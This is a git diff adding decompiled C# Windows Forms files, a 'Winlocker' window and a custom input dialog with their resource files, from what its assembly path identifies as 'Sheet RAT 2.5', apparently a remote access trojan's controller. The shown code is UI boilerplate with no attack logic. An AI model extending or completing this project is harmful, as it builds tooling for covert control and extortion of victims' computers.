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pyD/HxH/f48iv0H6F6C9k1+X/BQlAzLB7QN4u/ib3bT+q1AEZYfJ/wF0k/yKkokZ76/pvS/qbI70t8KrvvyV0JfXdVUAFCVTYx/ime2v7Sc50btADjwHHSW/omRDxvlP9Hm39zZ26/5yXo+W/IqSHRkezAI8xugxX0VRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEU5Dvl/PSohQL/daqEAAAAASUVORK5CYIIL + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAmCwAAAk1TRnQBSQFMAgEBAgEAAWgBAAFoAQABEAEAARABAAT/ASEBEAj/AUIBTQE2BwABNgMAASgDAAFAAwABEAMAAQEBAAEgBgABECYAAUwBVwHiAf8BTAFXAeIB/wFMAVcB4gH/AUwBVwHiAf8BTAFXAeIB/wFMAVcB4gH/AUwBVwHiAf/cAAFMAVcB4gH/AUwBVwHiAf8BTAFXAeIB/wPrAf8D6wH/A+sB/wPrAf8D6wH/AUwBVwHiAf8BTAFXAeIB/wFMAVcB4gH/CAADLQFFA0cBggNHAYIDRwGCA0cBggNHAYIDRwGCA0cBggNHAYIDRwGCA0cBggNHAYIDRwGCA0cBggNHAYIDLgFGiAABTAFXAeIB/wFMAVcB4gH/AukB6gH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wGeAaMB5gH/AUwBVwHiAf8BTAFXAeIB/wQAAYYBXgFXAd0B3AFdAT4B/wHdAWEBRwH/Ad4BZgFRAf8B3wFsAVwB/wHgAXEBaAH/AeEBdwF0Af8B4wF+AYEB/wHkAYQBjwH/AeYBiwGdAf8B5wGSAasB/wHpAZkBugH/AeoBoQHJAf8B7AGoAdkB/wHuAbAB6QH/AZMBfwGWAeCEAAMgAS4BTAFXAeIB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8BnwGkAeYB/wFMAVcB4gH/BAABlQFfAVQB5QHcAV0BPgH/Ad0BYQFHAf8B3gFmAVEB/wHfAWwBXAH/AeABcQFoAf8B4QF3AXQB/wHjAX4BgQH/AeQBhAGPAf8B5gGLAZ0B/wHnAZIBqwH/AekBmQG6Af8B6gGhAckB/wHsAagB2QH/Ae4BsAHpAf8BoAGIAaQB54QAAUwBVwHiAf8BTAFXAeIB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/AUwBVwHiAf8BTAFXAeIB/wGVAV8BVAHlAdwBXQE+Af8B3QFhAUcB/wHeAWYBUQH/Ad8BbAFcAf8B4AFxAWgB/wHhAXcBdAH/AeMBfgGBAf8B5AGEAY8B/wHmAYsBnQH/AecBkgGrAf8B6QGZAboB/wHqAaEByQH/AewBqAHZAf8B7gGwAekB/wGgAYgBpAHnhAABTAFXAeIB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8BTAFXAeIB/wGUAV8BVAHlAdoBXAE9Af8B2wFgAUYB/wHcAWUBUAH/Ad0BawFbAf8B3gFwAWcB/wHfAXYBcwH/AeEBfQGAAf8B4gGDAY4B/wHkAYoBnAH/AeUBkQGpAf8B5wGYAbgB/wHoAaABxwH/AeoBpwHXAf8B7AGuAecB/wGfAYgBpAHngAADRAF4AUwBVwHiAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/AUwBVwHiAf8BkwFfAVQB5QHYAVsBPQH/AdkBXwFGAf8B2gFkAVAB/wHbAWoBWgH/AdwBbwFmAf8B3QF1AXIB/wHfAXwBfwH/AeABggGMAf8B4gGJAZoB/wHjAY8BqAH/AeUBlgG3Af8B5gGeAcUB/wHoAaUB1QH/AeoBrQHlAf8BnwGIAaMB54AAAVYBYQHPAf4BTAFXAeIB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wFbAU0BMgH/AVsBTQEyAf8BWwFNATIB/wFbAU0BMgH/A+sB/wPrAf8D6wH/AUwBVwHiAf8BkwFfAVQB5QHWAVsBPAH/AdcBXgFFAf8B2AFjAU8B/wHZAWkBWgH/AdoBbgFlAf8B2wF0AXEB/wHdAXsBfgH/Ad4BgQGLAf8B4AGHAZkB/wHhAY4BpwH/AeMBlQG1Af8B5AGdAcQB/wHmAaQB0wH/AegBqwHjAf8BnwGIAaIB54AAA04BlQFMAVcB4gH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/AVsBTQEyAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8BTAFXAeIB/wGTAV8BVAHlAdQBWgE8Af8B1QFeAUUB/wHWAWIBTgH/AdcBaAFZAf8B2AFtAWQB/wHZAXMBcAH/AdsBegF9Af8B3AF/AYoB/wHeAYYBlwH/Ad8BjQGlAf8B4QGUAbMB/wHiAZsBwgH/AeQBogHRAf8B5gGqAeEB/wGfAYcBoAHnhAABTAFXAeIB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wFbAU0BMgH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/AUwBVwHiAf8BkQFfAVQB5QHSAVkBOwH/AdMBXQFEAf8B1AFiAU4B/wHVAWcBWAH/AdYBbAFjAf8B1wFyAW8B/wHZAXgBewH/AdoBfgGJAf8B3AGFAZYB/wHdAYwBpAH/Ad8BkgGyAf8B4AGaAcAB/wHiAaEBzwH/AeQBqAHfAf8BnQGHAZ8B54QAAUwBVwHiAf8BTAFXAeIB/wPrAf8D6wH/A+sB/wPrAf8D6wH/AVsBTQEyAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wFMAVcB4gH/AUwBVwHiAf8BjwFfAVQB5QHQAVgBOwH/AdEBXAFDAf8B0gFhAU0B/wHTAWYBVwH/AdQBawFjAf8B1QFxAW4B/wHXAXcBegH/AdgBfQGHAf8B2gGEAZUB/wHbAYoBogH/Ad0BkQGwAf8B3gGZAb8B/wHgAZ8BzQH/AeIBpwHdAf8BnAGFAZ8B54QAAVkCXAG+AUwBVwHiAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wFbAU0BMgH/A+sB/wPrAf8D6wH/A+sB/wHpAuoB/wFMAVcB4gH/BAABjwFfAVQB5QHPAVcBOgH/AdABWwFDAf8B0AFgAUwB/wHRAWUBVgH/AdIBagFiAf8B0wFwAW0B/wHVAXYBeQH/AdYBfAGGAf8B2AGDAZMB/wHZAYkBoQH/AdsBkAGvAf8B3AGXAb0B/wHeAZ4BywH/Ad8BpQHbAf8BkwF/AZYB44gAAUwBVwHiAf8BTAFXAeIB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wPrAf8D6wH/A+sB/wFMAVcB4gH/AUwBVwHiAf8EAAGWAWYBXAHlAd4BbQFRAf8B3wFwAVkB/wHgAXUBYgH/AeEBegFsAf8B4QF/AXYB/wFkAlsBvAFOAk0BkgFOAU0BTgGSA04BkgNOAZIDTgGSA04BkgNOAZIBTgFNAU4BkQMzAVKMAAFMAVcB4gH/AUwBVwHiAf8BTAFXAeIB/wPrAf8D6wH/A+sB/wPrAf8D6wH/AUwBVwHiAf8BTAFXAeIB/wFMAVcB4gH/CAABXgFZAVUBtAHfAW8BUwH/AeABcgFbAf8B4QF3AWQB/wHiAXwBbgH/AcABeQF0AfYDJgE4tAABWAJaAb0BTAFXAeIB/wFMAVcB4gH/AUwBVwHiAf8BTAFXAeIB/wFMAVcB4gH/AUwBVwHiAf8BTAFXAeIB/wMgAS0MAAMCAQMDCAEKAwgBCgMIAQoDCAEKAwYBB8QAA0wBkAFYAWMBzwH+A0MBddgAAUIBTQE+BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcAA/8BAAH4AQ8C/wQAAeABAwYAAcABAQYAAYABAQYAAYAHAAGAHwABgAcAAYAHAAGAAQEGAAHAAQEGAAHgAQMBAQH/BAAB8AEHAQMB/wQAAf4BPwL/GgAL + + \ No newline at end of file diff --git a/Server/Server/Forms/FormWinlocker.cs b/Server/Server/Forms/FormWinlocker.cs new file mode 100644 index 0000000..9daee0f --- /dev/null +++ b/Server/Server/Forms/FormWinlocker.cs @@ -0,0 +1,42 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormWinlocker +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormWinlocker : MetroForm +{ + private IContainer components; + + public FormWinlocker() => this.InitializeComponent(); + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.SuspendLayout(); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(800, 450); + this.Name = nameof (FormWinlocker); + this.Style = MetroColorStyle.Lime; + this.Text = "Winlocker"; + this.Theme = MetroThemeStyle.Dark; + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormWinlocker.resx b/Server/Server/Forms/FormWinlocker.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Server/Server/Forms/FormWinlocker.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Server/Server/Forms/InputBoxCustom.cs b/Server/Server/Forms/InputBoxCustom.cs new file mode 100644 index 0000000..c53534b --- /dev/null +++ b/Server/Server/Forms/InputBoxCustom.cs @@ -0,0 +1,113 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.InputBoxCustom +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class InputBoxCustom : MetroForm +{ + private IContainer components; + public MetroTextBox Input; + private MetroButton metroButton3; + + public InputBoxCustom() => this.InitializeComponent(); + + private void InputBoxCustom_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.Input.Theme = Customs.customs.Theme; + this.metroButton3.Theme = Customs.customs.Theme; + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.Input.Style = Customs.customs.Style; + this.metroButton3.Style = Customs.customs.Style; + } + this.Refresh(); + } + + private void metroButton3_Click(object sender, EventArgs e) => this.Close(); + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (InputBoxCustom)); + this.Input = new MetroTextBox(); + this.metroButton3 = new MetroButton(); + this.SuspendLayout(); + this.Input.CustomButton.Image = (Image) null; + this.Input.CustomButton.Location = new Point(356, 1); + this.Input.CustomButton.Name = ""; + this.Input.CustomButton.Size = new Size(21, 21); + this.Input.CustomButton.Style = MetroColorStyle.Blue; + this.Input.CustomButton.TabIndex = 1; + this.Input.CustomButton.Theme = MetroThemeStyle.Light; + this.Input.CustomButton.UseSelectable = true; + this.Input.CustomButton.Visible = false; + this.Input.Lines = new string[0]; + this.Input.Location = new Point(23, 63 /*0x3F*/); + this.Input.MaxLength = (int) short.MaxValue; + this.Input.Name = "Input"; + this.Input.PasswordChar = char.MinValue; + this.Input.ScrollBars = ScrollBars.None; + this.Input.SelectedText = ""; + this.Input.SelectionLength = 0; + this.Input.SelectionStart = 0; + this.Input.ShortcutsEnabled = true; + this.Input.Size = new Size(378, 23); + this.Input.Style = MetroColorStyle.Lime; + this.Input.TabIndex = 0; + this.Input.Theme = MetroThemeStyle.Dark; + this.Input.UseSelectable = true; + this.Input.UseStyleColors = true; + this.Input.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.Input.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroButton3.Location = new Point(337, 92); + this.metroButton3.Name = "metroButton3"; + this.metroButton3.Size = new Size(64 /*0x40*/, 22); + this.metroButton3.Style = MetroColorStyle.Lime; + this.metroButton3.TabIndex = 174; + this.metroButton3.Text = "OK"; + this.metroButton3.Theme = MetroThemeStyle.Dark; + this.metroButton3.UseSelectable = true; + this.metroButton3.UseStyleColors = true; + this.metroButton3.Click += new EventHandler(this.metroButton3_Click); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(424, 119); + this.Controls.Add((Control) this.metroButton3); + this.Controls.Add((Control) this.Input); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (InputBoxCustom); + this.Resizable = false; + this.Style = MetroColorStyle.Lime; + this.Text = nameof (InputBoxCustom); + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.InputBoxCustom_Load); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/InputBoxCustom.resx b/Server/Server/Forms/InputBoxCustom.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/InputBoxCustom.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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